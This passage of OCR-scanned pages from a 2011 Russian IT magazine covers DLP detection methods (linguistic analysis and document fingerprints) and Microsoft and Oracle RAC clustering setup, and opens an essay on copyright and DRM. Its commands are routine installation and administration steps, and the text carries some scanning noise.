со спамом, где всего две категории (спам/не спам), можно себе

представить, что будет, когда в систему загрузят несколько десятков

категорий и классов конфиденциальности. Хотя обучением системы

можно достигнуть 92-95% точности, для большинства пользовате­

лей это означает, что каждое десятое или двадцатое перемещение

� 1 2 0

информации будет ошибочно причислено не к тому классу со всеми

вытекающими для бизнеса последствиями (утечка или прерывание

легитимного процесса) .

Обычно не принято относить к недостаткам сложность разработки

технологии, но не упомянуть о ней нельзя. Разработка серьезного

лингвистического движка с категоризацией текстов более чем по

двум категориям - наукоемкий ИДОВОЛЬНО сложный технологи­

чески процесс. Прикладная лингвистика - быстро развивающаяся

наука, получившая сильный толчок в развитии с распространением

интернет-поиска, но сегодня на рынке присутствуют единицы рабо­

тоспособныхдвижков категоризации: для русского языка их всего

два, а для некоторых языков их просто еще не разработали. Поэтому

на DLР-рынке существует лишь пара компаний, которые способны

в полной мере категоризировать информацию «на лету». Можно

предположить, что когда рынок DLP увеличится до многомиллиар­

дных размеров, на него с легкостью выйдет Google. С собственным

лингвистическим движком, оттестированным на триллионах поис­

ковых запросов по тысячам категорий, ему не составит труда сразу

отхватить серьезный кусок этого рынка.

Статистические методы Задача компьютерного поиска значимых цитат (почему именно

«значимых» - немного позже) заинтересовала лингвистов еще в

70-х годах прошлого века, если не раньше. Текст разбивался на куски

определенного размера, с каждого из которых снимался хеш. Если

некоторая последовательность хешей встречалась в двух текстах

одновременно, то с большой вероятностью тексты в этих областях

совпадали.

Побочным продуктом исследований в этой области является, напри­

мер, «альтернативная хронология» Анатолия Фоменко, уважаемого

ученого, который занимался «корреляциями текстов» и однажды

сравнил русские летописи разных исторических периодов. Удивив­

шись, насколько совпадают летописи разных веков (более чем на

60%), в конце 70-х он выдвинул теорию, что наша хронология на

несколько веков короче. Поэтому, когда какая-то выходящая на ры­

нок DLР-компания предлагает «революционную технологию поиска

цитат» , можно с большой вероятностью утверждать, что ничего,

кроме новой торговой марки, компания не создала.

Статистические технологии относятся к текстам не как к связной

последовательности слов, а как к произвольной последовательности

символов, поэтому одинаково хорошо работают с текстами на любых

языках. Поскольку любой цифровой объект -хоть картинка, хоть

программа -тоже последовательность символов, то те же методы

могут применяться для анализа не только текстовой информации,

но и любых цифровых объектов. И если совпадают хеши в двух

аудиофайлах -наверняка в одном из них содержится цитата из

другого, поэтому статистические методы являются эффективными

ХАКЕР 03 / 1 46/ 201 1

Page 110: Хакер март 2011

средствами защиты от утечки аудио и видео, активно применяющиеся

в музыкальных студиях и кинокомпаниях.

Самое время вернуться к понятию «значимая цитата». Ключевой

характеристикой сложного хеша, снимаемого с защищаемого объ­

екта (который в разных продуктах называется то Digital Fingerprint,

то Document DNA) , является шаг, с которым снимается хеш. Как

можно понять из описания, такой « оmечаток» является уникалъной

характеристикой объекта и при этом имеет свой размер. Это важно,

поскольку если снять отпечатки с МИJVIионовдокументов (а это объем

хранилища среднего банка), то для хранения всех оmечатков понадо­

битсядостаточное количество дискового пространства. От шага хеша

зависит размер такого отпечатка -чем меньше шаг, тем больше оmе­

чаток. Если снимать хеш с шагом в один символ, то размер отпечатка

превысит размер самого образца. Если для уменьшения « веса» оmе­

чатка увеличить шаг (например, 10 000 символов), то вместе с этим

увеличивается вероятность того, что документ, содержащий цитату из

образца длиной в 9 900 символов, будет конфиденциальным, но при

этом проскочит незаметно.

С другой стороны, если для увеличения точностидетекта брать очень

мелкий шаг, несколько символов, то можно увеличить количество

ложных срабатываний до неприемлемой величины. В терминах текс­

та это означает, что не стоит снимать хеш с каждой буквы -все слова

состоят из букв, и система будет принимать наличие букв в тексте за

содержание цитать! из текста-образца. Обычно производители сами

рекомендуют некоторый оптималъный шаг снятия хеш ей, чтобы

размер цитаты бьш достаточный и при этом вес самого отпечатка бьш

небольшой -от 3% (текст) до 15% (сжатое видео). В некоторых про­

дуктах производители позволяют менять размер значимости цитаты,

то есть увеличивать или уменьшать шаг хеша.

Достоинства технологии Как можно понять из описания, для детектирования цитаты нужен

объект-образец. и статистические методы могут с хорошей точнос­

тью (до 100%) сказать, есть в проверяемом файле значимая цитата

из образца или нет. То есть система не берет на себя ответственность

за категоризацию документов -такая работа полностью лежит на

совести того, кто категоризировал файлы перед снятием оmечатков.

Это сильно облегчает защиту информации в случае, если на предпри­

ятии в некотором месте (местах) хранятся нечасто изменяющиеся и

уже категоризированные файлы. Тогда достаточно с каждого из этих

файлов снять отпечаток, и система будет, в соответствии с настрой­

ками, блокировать пересьшку или копирование файлов, содержащих

значимые цитаты из образцов.

Независимость статистических методов от языка текста и нетексто­

вой информации -тоже неоспоримое преимущество. Они хороши

при защите статических цифровых объектов любого типа -карти­

нок, аудио/видео, баз данных. Про защиту динамических объектов я

расскажу в разделе « недостатки».

Недостатки технологии Как и в случае с лингвистикой, недостатки технологии -обратная

сторона достоинств. Простота обучения системы (указал системе

файл, и он уже защищен) перекладывает на пользователя ответс­

твенность за обучение системы. Если вдруг конфиденциальный файл

оказался не в том месте либо не бьш про индексирован по халатности

или злому умыслу, то система его защищать не будет. Соответствен­

но, компании, заботящиеся о защите конфиденциальной информа­

ции от утечки, должны предусмотреть процедуру контроля того, как

индексируются DLР-системой конфиденциальные файлы.

Еще один недостаток -физический размер отпечатка. Автор неод­

HoKpaTHo видел впечатляющие пилотные проекты на оmечатках, ког­

да DLР-система со 100% вероятностью блокируетпересьшку докумен­

тов, содержащих значимые цитаты из трехсот документов-образцов.

Однако через год эксплуатации системы в боевом режиме отпечаток

ХАКЕР 03 / 1 46/ 2 0 1 1

каждого исходящего письма сравнивается уже не с тремя сотнями,

а с МИJVIионами отпечатков-образцов, что существенно замедляет

работу почтовой системы, вызывая задержки в десятки минут.

Как я и обещал выше, опишу свой опыт по защите динамических объ­

ектов с помощью статистических методов. Время снятия отпечатка

напрямую зависит от размера файла и его формата. для текстового

документа типа этой статьи это занимает доли секунды, для полуто­

рачасового МР4-фильма -десятки секунд. для редко изменяемых

файлов это не критично, но если объект меняется каждую минуту

или даже секунду, то возникает проблема: после каждого изменения

объекта с него нужно снять новый отпечаток . . . Код, над которым

работает программист, еще не самая большая сложность, гораздо

хуже с базами данных, используемыми в БИJVIинге, ЛБС или сal!-цен­

трах. Если время снятия отпечатка больше, чем время неизменности

объекта, то задача решения не имеет. Это не такой уж и экзотичес­

кий случай -например, отпечаток базы данных, хранящей номера

телефонов клиентов федерального сотового оператора, снимается

несколько дней, а меняется ежесекундно. Поэтому, когда DLР-вендор

утверждает, что его продукт может защитить вашу базу данных, мыс­

ленно добавляйте слово «квазистатическую» .

Единство и борьба .. п-ротивополо*ностеи Как видно из предыдущего раздела статьи, сила одной технологии

проявляется там, где слабадругая. Лингвистике не нужны образцы,

она категоризирует данные на лету и может защищать информа­

цию, с которой случайно или умышленно не бьш снят отпечаток.

Отпечаток дает лучшую точность и поэтому предпочтительнее для использования в автоматическом режиме. Лингвистика отлично

работает с текстами, отпечатки - с другими форматами хранения

информации.

Поэтому большинство компаний -лидеров используют в своих раз­

работках обе технологии, при этом одна из них является основной, а

другая -дополнительной. Это связано с тем, что изначально продук -

ты компании использовали только одну технологию, в которой ком­

пaHия продвинулась дальше, а затем, по требованию рынка, бьша

подключена вторая. Так, например, ранее InfoWatch использовал

только лицензированную лингвистическую технологию Morph-O­

Logic, а Websense -технологию PreciseID, относящуюся к категории

Digital Fingerprint, но сейчас компании используют оба метода.

В идеале использовать две эти технологии нужно не параллельно, а

последовательно. Например, отпечатки лучше справятся с опреде­

лением типа документа -договор это или балансовая ведомость,

например. Затем можио подключать уже лингвистическую базу,

созданную специально для этой категории. Это сильно экономит

вычислительные ресурсы.

За пределами статьи остались еще несколько типов технологий,

используемых в DLP-проДУКтах. К таким относятся, например, ана­

лизатор структур, позволяющий находить в объектах формальные

структуры (номера кредитных карт, паспортов, ИНН и так далее),

которые невозможно детектировать ни с помощью лингвистики, ни

с помощью отпечатков. Также не раскрыта тема разного типа меток

- от записей в атрибутных полях файла или просто специального на­

именования файлов до специальных криптоконтеЙнеров. Последняя

технология отживает свое, поскольку большинство производителей

предпочитает не изобретать велосипед самостоятельно, а интегри­

роваться с производителями DRМ-систем, такими как Oracle 'RМ или

Мiсrosоft RМS.

DLP-проДУКты - быстроразвивающаяся отрасль информационной

безопасности, у некоторых производителей новые версии выходят

очень часто, более одного раза в год.

С нетерпением ждем появления новых технологий анализа корпо­

ративного информационного поля для увеличения эффективности

защиты конфиденциальной информации. ::х::

• 1 2 1

I

Page 111: Хакер март 2011

• • А н н а Луч н и к . руководитель IT - A c a d e m y 8 М К М ГУ & S o f t l i n e it-un iversity.ru

Титаны кластерного фронта Решения для построения кластеров от Мiсrоsоft и Oracle

Как известно, кластеры позволяют решать проблемы, связанные с производительностью, балансировкой нагрузки и отказоустойчивостью. Для построения кластеров используются различные решения и технологии, как на программном, так и на аппаратном уровне. В этой статье будут рассмотрены программные решения, предлагаемые компаниями Мiсrоsоft и Oracle.

Виды кластеров Кластер -это группа независимых компьютеров (так называемых

узлов или ноДов), К которой можно получить доступ как к единой

системе. Кластеры могут быть предназначены для решения одной

или нескольких задач. Традиционно выделяют три типа кластеров:

• Кластеры высокой готовности или отказоустойчивые кластеры

(high-availabilityclusters или failover clusters) используют избыточные

узлы для обеспечения работы в случае отказа одного из узлов.

• Кластеры балансировки нагрузки Cload-balancing clusters) служат

для распределения запросов от клиентов по нескольким серверам,

образующим кластер.

• Вычислительные кластеры (compute clusters), как следует из назва­

ния, используются в вычислительных целях, когда задачу можно раз­

делить на несколько подзадач, каждая из которых может выполнять­

ся на отдельном узле. Отдельно выделяют высокопроизводительные

кластеры (НРС - high performance computing clusters), которые

составляют около 82% систем в рейтинге суперкомпьютеров TopSOO.

Системы распределенных вычислений (gird) иногда относят к

отдельному типу кластеров, который может состоять из террито­

риально разнесенных серверов с отличающимися операционными

системами и аппаратной конфигурацией. В случае грид-вычислений

взаимодействия между узлами происходят значительно реже, чем

в вычислительных кластерах. В грид-системах могут быть объеди­

HeHы НРС-кластеры, обычные рабочие станции и другие устройс­

тва. Такую систему можно рассматривать как обобщение понятия

«кластер", ластеры могут быть сконфигурированы в режиме работы

active/ active, в этом случае все узлы обрабатывают запросы пользо­

вателей и ни один из них не про стаивает в режиме ожидания, как это

происходит в варианте active/passive.

� 1 22

Oracle RЛС и NetworkLoad Balancing являются примерами active/

active кластера. Failover Cluster в Windows Server служит примером

active/passive кластера. для организации active/active кластера тре­

буются более изощренные механизмы, которые позвоiIяют несколь­

ким узлам обращаться к одному ресурсу и синхронизовать изме­

нения между всеми узлами. для организации кластера требуется,

чтобы узлы были объединены в сеть, для чего наиболее часто исполь­

зуется либо традиционный Ethernet, либо InfiniBand. Программные

реmения могут быть довольно чувствительны к задержкам -так,

например, для Oracle RЛС задержки не должны превыmать lS мс. В

качестве технологий хранения могут выступать Fibre Channel, iSCSI

или NFS файловые сервера. Однако оставим аппаратные технологии

за рамками статьи и перейдем к рассмотрению решений на уровне

операционной системы (на примере Windows Server 2008 R2) и тех­

HoлoгияM' которые позволяют организовать кластер для конкретной

базы данных (OracleDatabase llg), но на любой поддерживаемой ОС.

Windows Clustering у Мiсrosоft существуют решения для реализации каждого из трех

типов кластеров. В состав Windows Server 2008 R2 входят две техноло­

гии: Network Load Вalапсiпg (NLB) Сlustеги Failover Cluster. Существу­

ет отдельная редакция Windows Server 2008 НРС Edition для органи -

зации высокопроизводительных вычислительных сред. Эта редакция

лицензируется только для запуска НРС-приложений, то есть на таком

сервере нельзя запускать базы данных, web- или почтовые сервера.

NLВ-кластер используется для фильтрации и распределения ТСР ЛР­

трафика междуузлами. Такой тип кластера предназначен для работы

с сетевыми приложениями - например, IIS, VPN или межсетевым эк­

раном. Могут возникать сложности с приложениями, которые полага-

ХАКЕР 03 / 1 46/ 20 1 1

Page 112: Хакер март 2011

ются на сессионные данные, при перенаправлении клиента на другой

узел, на котором этих данных нет. В NLВ-кластер можно включать до

тридцати двух узлов на хб4-редакциях, и до шестнадцати -на х8б.

Failoverclustering -это кластеризации с переходом по отказу, хотя

довольно часто термин переводят как « отказоустойчивые кластеры».

Узлы кластера объединены программно и физически с помощью

LAN- или WAN-сети, для multi-site кластера в Windows Server 2008

убрано требование к общей задержке 500 мс, и добавлена возмож­

ность гибко настраивать heartbeat. В случае сбоя или планового

отключения сервера кластер изо ванные ресурсы переносятся на

другой узел. В Enterprise edition в кластер можно объединять до шест­

надцати узлов, при этом пятнадцать из них будут простаивать до тех

пор, пока не произойдет сбой. Приложения без поддержки кластеров

(cluster -unaware) не взаимодействуют со службами кластера и могут

быть переключены на другой узел только в случае аппаратного сбоя.

Приложения с поддержкой кластеров (cluster-aware) , разработанные

с использованием ClusterAPI, могут быть защищены от программных

и аппаратных сбоев.

Развертывание fаilоvеr-кластера Процедуруустановки кластера можно разделить на четыре эта-

па. На первом этапе необходимо сконфигурировать аппаратную

часть, которая должна соответствовать The Microsoft Support Policy

for Windows Server 2008 Failover Clusters. Все узлы кластера долж­

Hы состоять из одинаковых или сходных компонентов. Все узлы

кластера должны иметь доступ к хранилищу, созданному с исполь­

зованием FibreChannel, iSCSI или Serial Attached SCSI. От хранилищ,

работающих с Windows Server 2008, требуется поддержка persistent

reservations.

ХАКЕР 03 / 1 46/ 20 1 1

На втором этапе на каждый узел требуется добавить компонент

Failover Clustering - например, через Server Manager. Эту задачу

можно выполнять с использованием учетной записи, обладающей

административными правами на каждом узле. Серверы должны

принадлежать к одному домену. Желательно, чтобы все узлы клас­

тера бьmи с одинаковой ролью, причем лучше использовать роль

member server, так как роль domain controller чревата возможными

проблемами с DNS и Exchange.

Третий не обязательный, но желательный этап заключается в про­

верке конфигурации. Проверка запускается через оснастку Failover

Cluster Management. Если для проверки конфигурации указан только

один узел, то часть проверок будет пропущена (рис. 1 ) .

На четвертом этапе создается кластер. для этого из Failover Cluster

Management запускается мастер Create Cluster, в котором указывают­

ся серверы, включаемые в кластер, имя кластера и дополнительные

настройки IP-aдpeca. Если серверы подключены к сетям, которые не

будут использоваться для общения в рамках кластера (например,

подключение только для обмена данными с хранилищем), то в свойс­

твах этой сети в Failover Cluster Management необходимо установить

параметр «Оо not allow the cluster to use this network» .

После этого можно приступить К настройке приложения, которое

требуется сконфигурировать для обеспечения его высокой доступ­

ности. для этого необходимо запустить High Availability Wizard,

который можно найти в Services and Applications оснастки Failover

Cluster Management (рис. 2) .

Cluster Shared Volumes В случае fаilоvег-кластерадоступ K LUN, хранящему данные, может

осуществлять только активный узел, который владеет этим ресурсом

� 1 23

I

Page 113: Хакер март 2011

�} Validate а Configuration W izard . .

"'.

Summary

Before Уои Begin

т esting Options

т esting has completed 'о! the tests уои selected. Т о confirm that уои! cluster solution is supported, уou must run all tests. А cluster solution is supported Ьу Мiсrоsоft only if it passes all cluster validation tests.

т est Selection

Confirmation

Validating Validate Cluster Network Configuration

Val idate IP Configuration

Validate Network Communication

Validate Windows Firewal l Configuration

Success

Succes s

Succes s

Not Appl icabIe

Success � т о view the report created Ьу the wizard, click View Report. т о close this wizard, click Finish.

View Report. . . I More аЬои! cluster validation tests

Рис. 1. Проверка конфиrypации fаilоvеr-кластера

(рис. 3) . При переключении на другой узел происходит размонти­

рование LUN и монтирование его для другого узла. В большинстве

случаев эта задержка не является критичной, но при виртуализации

может требоваться вообще нулевая задержка на переключение вир­

туальных машин с одного узла на другой.

Еще одна проблема, возникающая из-за того, что LUN является ми­

нимальной единицей обхода отказа, заключается в том, что при сбое

одного приложения, находящегося на LUN, приходится переключать

все приложения, которые храиятся на этом LUN, на другой сервер. Во

всех приложениях (включая Hyper -V до второго релиза Server 2008)

это удавалось обходить за счет многочисленных LUN, на каждом

из которых хранились данные только одного приложения. В Server

2008 R2 появилось решение для этих проблем, но предназначенное

для работы только с Hyper -V и CSV (Cluster Shared Volumes) . CSV

позволяет размещать на общем хранилище виртуальные машины,

запускаемые на разных узлах кластера -тем самым разбивает-

ся зависимость между ресурсами приложения (в данном случае

виртуальными машинами) и дисковыми ресурсами. В качестве

файловой системы CSV использует обычную NTFS. для включения

CSV необходимо в Failover Cluster Manage вьшолнить команду Enable

Cluster Shared Volumes. Отключить поддержкуСSV можно только

через консоль:

Get -Cluster I % { $_ . EnableSharedVolumes = " Di sabled " }

для использования этой команды должен бьпъ загружен Failover

Clusters, модуль PowerShell. Использование CSV совместно с live

migration позволяет перемещать виртуальные машины между физи­

ческими серверами в считанные миллисекунды, без обрыва сетевых

соединений и совершенно прозрачно для пользователей. Стоит отме­

тить, что копировать любые данные (например, готовые виртуальные

машины) на общие диски, использующие CSV, следуетчерезузел-коор­

динатор. Несмотря на то, что общийдискдоступен со всех узлов класте-

� 1 24

Finish

ра, перед записью данных на диск узлы запрашивают разрешение ууз­

ла-координатора. При этом, если запись требует изменений на уровне

файловой системы (например, смена атрибутов файла илиувеличенне

его размера), то записью занимается сам узел-координатор.

Oracle RAC Oracle Real Application Clusters (RЛС) - это дополнительная опция

Oracle Database, которая впервые появилась в Oracle Database 9i

под названием OPS (Oracle Parallel Server) . Опция предоставляет

возможность нескольким экземплярам совместно обращаться

к одной базе данных. Базой данных в Oracle Database называет-

Ссылки по теме

• H i g h Ava i lab i lity решения от M i c rosoft: m i c гosoft .com/

wi n d owsserver2008/en/us/h igh -avai la bi lity.a spx ;

• П одбо р ка ссылок на документа цию и ресурсы по

Fa i love r C lustering и N LB : blogs . m s d n . com/bIclu steri ng/

a rc h ive/2009/08/2 1 /9878286.aspx [блог - C lu steri ngand H i g h ­

Аvа i lа Ь i litу содержит м н о го полезной и нформаци и ) ;

• Документа ция и дистрибути в ы O racle RAC : o ra c le . com/

tech netwo rk/data base/c lu ste ri ng/overview/i ndex. htm l ; • Документа ция и дистри бути в ы O ra c le C lusteгwa re и O ra c le

G rid I nfra structu re : oracle .com/te c h n etwork/data base/

clu ste гwa re/ove rview/i n dex. htm l ;

• Настро й ка O ra c le C lu steгware для за щиты S i n g le I n stance

O racle Database 1 1 g: ora cle.com/tech netwo rk/data base/si -db­

fa i lover- 1 1 g- 1 34623 .pdf.

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 114: Хакер март 2011

Select Service or AppIicetion

Вefote You 8egin sdect Seмce ог

�catюп

WINS Setv«

.. 1)eSCЦJIb,: А YitUaI rnaChrIe Is а virtuaized �« system nn*1g on а PhYSICaI �er. � YitUaI maCNneS сап rm on one �er.

Мore aЬOUt serШ:es ond appIications you см confiovre fq тф IVajlamI;1y

Рис. 2. High availability wizard

ся совокупность файлов данных, журнальных файлов, файлов

параметров и некоторых других типов файлов. для того, чтобы

пользовательские процессы могли получить доступ к этим данным,

должен быть запущен экземпляр. Экземпляр (instance) в свою

очередь состоит из структур памяти (SGA) и фоновых процессов. В

отсутствии RAC получить доступ к базе данных может строго один

экземпляр.

Опция RAC не поставляется с Enterprise Edition и приобретается

отдельно. Стоит отметить, что при этом RAC идет в составе Standard

Edition, но данная редакция обладает большим количеством огра­

ничений по сравнению с Enterprise Edition, что ставит под сомнение

целесообразность ее использования.

Oracle Grid Infrastructure для работы Oracle RAC требуется Oracle Clusterware (или стороннее

ПО) для объединения серверов в кластер. для более гибкого управ­

ления ресурсами узлы такого кластера могут быть организованы

в пулы (с версии 11g R2 поддерживается два варианта управления

-на основании политик для пулов или, В случае их отсутствия, адми­

нистратором) . Во втором релизе 11g Oracle Clusterware бьUI объеди­

нен с ASM под общим названием Oracle Grid Infrastructure, хотя оба

компонента и продолжают устанавливаться по различным путям.

Automatic Storage Management (ASM) -менеджер томов и файловая

система, которые могут работать как в кластере, так и с single­

instance базой данных. ASM разбивает файлы на ASM Allocation Unit.

Размер Allocation Unit определяется параметром AU_SIZE, который

задается на уровне дисковой группы и составляет 1 , 2, 4, 8, 16, 32 или

64 МВ. Далее Allocation Units распределяются по АSМ-дискамдля

балансировки нагрузки или зеркалирования (рис. 4) . Избыточность

может быть реализована, как средствами ASM, так и аппаратно.

АSМ-диски могут быть объединены в Failure Group (то есть группу

ХАКЕР 03 /1 46/ 20 1 1

< PnМOUS 1 .... 1 _N8ICI_> __ _ Dlncei_---'

дисков, которые могут выйти из строя одновременно -нanример,

диски, подсоединенные к одному контролеру), при этом зеркали­

рование осуществляется на диски, при надлежащие разным Failure

Group. При добавлении или удалении дисков ASM автоматически

осуществляет разбалансировку, скорость которой задается админис­

тратором. На ASM могут помещаться только файлы, относящиеся к

базе данных Oracle, такие как управляющие и журнальные файлы,

файлы данных или резервные копии RМAN. Экземпляр базы данных

не может взаимодействовать напрямую с файлами, которые разме­

щены на ASM. для обеспечения доступа кданным дисковая группа

должна быть предварительно смонтирована локальным АSМ-экзем­

пляром. Oracle рекомендует использоватьАSМ в качестве решения

для управления хранением данных вместо традиционных менедже­

ров томов, файловых систем или RAW-устроЙств.

Рис. з. Failoveccluster

----т-------I'uыlc--------,г----

----=--_Private----:::::o--.......J.

1 8 8 8 1 � 1 2 5

I I

Page 115: Хакер март 2011

Disk 1

Fa i l u re G roup 1

Fa i lure G rou p 2

Disk G rou p А Рис. 4. дSM disk group

Развертывание Oracle RAC Рассмотрим этапы установки различных компонентов, необходимых

для функционирования Oracle RЛС в режиме active/ active кластера с

двумя узлами (рис. 7). В качестве дистрибутива будем рассматривать

последнюю на момент написания статьи версию Oracle Database

llg Release 2. В качестве операционной системы возьмем Oracle

Enterprise Linux s. Oracle Enterprise Linux -операционная система,

базирующаяся на RedHat Enterprise Linux. Ее основные отличия -

Рис. 5. Установка OracleGrid Infrastructure

Sel ect I nstal l at i on Option

цена лицензии, техническая поддержка от Oracle и дополнительные

пакеты, которые могут использоваться приложениями Oracle.

Подготовка ОС к установке Oracle стандартна и заключается в

создании пользователей и групп, задании переменных окружения и

параметров ядра. Параметры для конкретной версии ОС и БД можно

найти в Installation Guide, который поставляется вместе с дистрибу­

тивом.

На узлах должен быть настроен доступ к внешним общим дискам,

на которых будут храниться файлы базы данных и файлы Oracle

Clusterware. К последним относятся votingdisk (файл, определя -

ющий участников кластера) и Oracle Cluster Registry (содержит

конфигурационную информацию - например, какие экземпляры

и сервисы запущены на конкретном узле). Рекомендуется создавать

нечетное количество votingdisk. для создания и настройки ASM­

дисков желательно использовать ASMLib, которую надо установить

на всех узлах:

# rpm -Uvh oracleasm- support -2 . 1 . 3 - 1 . e1 4 . x8 6_6 4 . rpm

# rpm -Uvh oracleasmlib-2 . 0 . 4 - 1 . e14 . х8 6_64 . rpm

# rpm -Uvh orac leasm-2 . 6 . 9 - 5 5 . 0 . 12 . ЕLsmр- 2 . 0 . 3 - 1 .

x8 6_6 4 . rpm

Кроме интерфейса для взаимодействия с хранилищем на узлах

желательно настроить три сети - Interconnect, External и Backup.

Необходимо настроить IР-адресацию (вручную или с использова­

нием Oracl е GNS) и DNS дЛЯ разрешения всех имен (или только

GNS).

Вначале осуществляется установка Grid Infrastructure. для этого

загружаем и распаковываем дистрибутив, затем запускаем

установщик (рис. 5) . В процессе установки необходимо указать

имя кластера; указать узлы, которые будут входить в кластер;

указать назначение сетевых интерфейсов; настроить хранилище.

В конце нужно выполнить с правами root скрипты orainstRoot.sh и

root.sh. Первым на всех узлах выполияется скрипт orainstRoot.sh,

причем запуск на следующем узле осуществляется только после

завершения работы скрипта на предыдущем. После выполнения

orainstRoot.sh последовательно на каждом узле выполняется root.

sh. Проверить успешность установки можно с помощью команды:

/ u O l / grid/bin / crsct l check c lu s t er - a l l

Выполнив проверку, можно приступать к установке базы данных.

для этого запускаем Oracle Universal installer (рис. б), который

используется и для обычной установки базы.

D A T A B A S E

� Download Software Ul;1dates Select any of the follolМng installation options

Installation Option o Install and Configure Oracle Grid Infrastructure for а �Iuster

l' Installation Ту 1;1 е о Configure Oracle Grid Infrastructure for а �tandalone Server

о !.!pgrade Oracle Grid Infrastructure ог Oracle Automatic Storage Management

о Install Oracle �rid Infrastructure Software Only

l' Cluster Configuration

t Install Locations

'( Prerequisite Checks

'( Summ ary

'( Install Product v Finish

� 1 26 ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 116: Хакер март 2011

Node Select i on

Conflgure Sec urity Updates 'х: Installation Option

Select the lуре of database Installallon уои want 10 perform .

О �ingle instance dalabase installatlon

o Веа' Application Clusters database installation

D A T A B A S E

?f Grid Options

l' Inяаll Туре SeleC1 nodes (in addition (о the 'оса' nоае) in the clUSler OМIeгe the Installer should install Oracle МС.

Typical ln<tallalion

у Prerequisile Checks

у SUn1 n1 агу

у Inslall Product

v Finish

I � nooel � nоое2

Рис. 6. Oracle 11g R2 universal installer

Node Nam e

Кроме асtivе/асtivе-кластера в версии 1 1 g R2 существуют две Заключение возможности для создания асtivе/раssivе-кластера. Одна из них Oracle RЛС совместно с Oracle Grid Infrastructure позволяют

- Oracle RACOneNode. Другой вариант не требует лицензии для реализовать разнообразные сценарии построения кластеров.

RЛС и реализуется средствами Oracle Clusterware. В этом случае Гибкость настройки и широта возможностей компенсируются

вначале создается общее хранилище; затем устанавливается Grid ценой такого решения.

Infrastructure, с использованием ASM_ CRS и SCAN; а после этого Решения же Мicrоsоft ограничены не только возможностями са-

на узлы устанавливается база данных в варианте Standalone. Да- мой кластеризации, но и продуктами, которые могут работать в

лее создаются ресурсы и скрипты, которые позволяют запускать такой среде. Хотя стоит отметить, что набор таких продуктов все

экземпляр на другом узле в случае недоступности первого. равно шире, чем одна база данных. ::х::

Рис. 7. Oracle RAC с двумя узлами г - - - - - - - - - - - -I Oracle RAC I t - - - - -: Automatic Storage I

Management

1 - - - - - -I I

Oracle Clusterware I I

ХАКЕР 03 / 1 46/ 2 0 1 1

ЭК3емпляр

5GA ФОНО8Ы npoцe�ы

ЭК3емпляр

5GA Фоновые процеcn.

I I I I

-1 I I I I

-t I I I I I

� 1 27

I I

Page 117: Хакер март 2011

• • Н , Н ,Федотов. гл. а н а л и т и к к о м п а н и и Infоwзtсh

Копилефт наносит ..... ответныи удар Современные тенденции защиты авторского права в контексте «Дела Жукова» Дело Жукова (оно же «Магаданское дело») - это первая, обреченная на увядание попытка поставить барьер необоснованному расширению копирайта.

За что воюют? Как известно, авторское право (и даже шире - право интеллек­

туальной собственности) есть временная монополия, искус­

ственно введенная ради развития наук и искусств. Обычное

право собственности (так называемая вещная собственность)

известно столько, сколько существует цивилизация.

Его не выдумывали и не вводили указом. Вещная собственность

- так называемое естественное право, то есть, оно возника-

ет стихийно и в обязательном порядке везде, где появляется

человеческая цивилизация. Не будем сейчас останавливаться

не механизме (как именно чувство собственности завязано на

инстинкты приматов), просто отметим, что вещная собствен­

ность - естественна, прошита в мозгу «на аппаратном уровне».

А интеллектуальная собственность - искусственна, базиру­

ется лишь на государственном принуждении. Первые робкие

намеки на нее появились в ХУI веке, в качестве полноценного

института она введена лишь в XIX, а в большинстве стран - и

вовсе в хх веке.

Неудивительно, что в сознании людей интеллектуальная собс­

твенность (в частности, авторское право) не находит аппарат­

ной поддержки и до сих пор выглядит непривычно. Она закреп­

лена в законах всех стран, но еще не внедрилась в мораль.

Для вещной собственности характерен обратный путь: от

морали к закону. Сначала люди неосознанно защищали

«свое" , затем возникли религиозно-моральные запреты на

хищение чужого, и лишь потом человечество придумало та­

кую технологию, как писаный закон и закрепило в нем давно

сложившийся принцип «не укради». Авторское право сначала

придумали законодатели, вписали в кодексы и лишь потом

озаботились объяснить простым людям, почему нехорошо

заимствовать тексты и музыку. Авторское право с самого

начала рассматривалось как «вынужденное зло», как комп­

ромисс между интересами авторов, посредников и общества

ради материальной поддержки творчества, но не в ущерб

культуре и науке в целом .

Внедрение авторского права в мораль идет с трудом. Но идет

неуклонно. Очень помогает подмена понятий: нарушение прав

интеллектуальной собственности пропагандисты именуют

«кражей» И «воровством», проводя несуществующие параллели

и пытаясь найти опору в древних инстинктах.

� 1 2 8

Куда дует ветер С момента введения понятия « авторское право» полномочия

правообладателей постоянно расширялись. Взять хотя бы срок

охраны произведения. Сначала дарованная авторам монополия

длилась четырнадцать лет, затем была увеличена до тридцати,

пятидесяти, потом ее сделали пожизненной, затем продлили

еще на двадцать, тридцать, пятьдесят лет. Ныне авторское

право охраняет произведение весь срок жизни автора плюс

пятьдесят лет в Европе. А в США, России и некоторых других

странах - весь срок жизни плюс семьдесят лет. Идут разговоры

и о дальнейшем продлении.

Также постоянно расширяется объем прав правообладателя,

перечень видов использования, которые он вправе разрешать и

запрещать. А случаи свободного использования произведений

(цитирование, использование в личных целях, во имя обще­

ственных интересов и тому подобное) - напротив, сужаются и

обставляются новыми условиями.

Изначальный компромисс и баланс интересов авторов, пос­

редников и общества давно потерян. Явный перекос законов в

пользу посредников уже не способствует, а препятствует техни­

ческому прогрессу и художественному творчеству.

Ничего удивительного в том, что закон катится лишь в одну

сторону - ветер дует в единственном направлении. Интересы

главных правообладателей - богатейших транснациональных

корпораций - лоббируются на доходы от их интеллектуаль­

ной собственности. А интересы другой стороны лоббировать

некому и не на что. Потребители произведений разобщены

и не имеют финансовых потоков, которые можно было бы

задействовать. А для политической партии интеллектуальная

собственность - слишком мелкая проблема, чтобы строить на

ней выборную стратегию. Да и осознание публикой своих инте­

ресов в области авторского права идет крайне медленно, если

вообще идет: пропаганда оплачивается лишь « той» стороной.

ТС3АП как оружие Одним из нововведений в институт авторского права является

охрана законом технических средств защиты авторских прав

(ТСЗАП) , также известных под именем ORМ (Digital Rights

Мапаgеmепt - управление [авторскими] права ми в цифровой

форме) . ТСЗАП вовсе не обязаны реально препятствовать не-

ХАКЕР 03 /146/ 20 1 1

I

Page 118: Хакер март 2011

правомерному использованию произведений. Ключ активации,

привязка к CD, словесное предупреждение, обфускация кода,

отключение пункта меню «save as» - все это виды ТСЗАП. Доста­

точно обозначить запреты. Они похожи не на замок, а на печать:

преодолеть несложно, однако чревато наказанием. В отношении

ТСЗАП запрещено не только применение, но вообще все, что

